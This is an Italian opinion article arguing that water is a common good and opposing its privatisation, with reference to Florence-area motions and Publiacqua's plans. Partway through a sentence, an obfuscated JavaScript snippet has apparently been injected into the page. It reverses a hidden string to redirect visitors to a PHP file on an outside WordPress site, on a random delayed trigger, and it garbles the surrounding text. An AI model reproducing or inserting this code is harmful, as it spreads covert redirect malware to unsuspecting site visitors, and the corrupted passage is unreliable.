L'acqua non è una merce

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L’acqua, bene comune dell’umanità?
Non è così scontato se solo riflettiamo su questi dati: 1 miliardo e mezzo di uomini ne sono privi e ogni giorno 30.000 persone muoiono per malattie legate al suo mancato apporto. Non è così scontato se un Comitato Mondiale presieduto dall’ex-presidente portoghese Mario Soares ha dovuto redigere un ‘Manifesto dell’Acqua’ per riaffermare che essa rappresenta un diritto inalienabile dell’intera umanità e dell’intero ecosistema planetario (animali e piante compresi). Non è così scontato soprattutto se si pensa che il Forum mondiale sulle risorse idriche dell’Aja ha di fatto derubricato l’acqua da ‘diritto imprescindibile’ a ‘bisogno vitale’, aprendo in pratica la strada ad una mercificazione di questo bene prezioso. Del resto l’Unione Europea si è collocata nello stesso solco con la direttiva che vincola le amministrazioni locali a dismettere la gestione diretta degli acquedotti, introducendo un regime di privatizzazioni che è già in atto in tutto il continente, con 80 multinazionali impegnate in quello che per loro è -a tutti gli effetti- un business.
Al Forum Sociale appena concluso questo è stato uno degli aspetti più dibattuti e sarà bene che le amministrazioni locali, applic (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando la regola ‘aurea’ del “pensare globalmente, agire localmente”, diano corso a delle scelte coerenti con questi presupposti generali.
Un movimento in questo senso è già in atto. Segnalo la mozione presentata da Nicola Rotondaro al Consiglio Comunale, dove si richiede la destinazione di un centesimo di euro per ogni metro cubo di acqua consumato alla battaglia contro la sete nel mondo. Né va dimenticato il documento firmato da molti sindaci dell’area fiorentina (Valdarno, Mugello, Val di Sieve), con cui si sono manifestate grosse preoccupazioni per la scelta del partner privato per Publiacqua spa. In questo senso si è mosso anche il Q.4, con una mozione, approvata il 23 ottobre, in cui venivano ribadite queste stesse indicazioni.
Occorre assolutamente aprire in proposito un ampio dibattito che non sia rinserrato nell’ambito istituzionale ma coinvolga attivamente la società civile. Sulle modalità gestionali anche dal dibattito del Forum sono scaturiti stimoli di grande interesse, come ad esempio il superamento della forbice pubblico-privato (che comporterebbe una improbabile difesa -contro le privatizzazioni- dei vecchi carrozzoni burocratici municipalizzati) attraverso la promozione dell’azionariato diffuso e forme di serrato controllo democratico sulla qualità ed eticità del servizio. A questo proposito lascia perplessi la doppia tariffazione prospettata nel piano industriale presentato da Publiacqua, con un acqua ‘buona’ -più cara- e un’acqua media (mediocre?) a costo più contenuto. Allo stesso modo ci domandiamo come deve essere interpretato il blocco delle spese del personale a fronte della previsione di un raddoppio del fatturato, se non come una ‘promessa’ di sfruttamento e di precarizzazione per gli operatori in organico.

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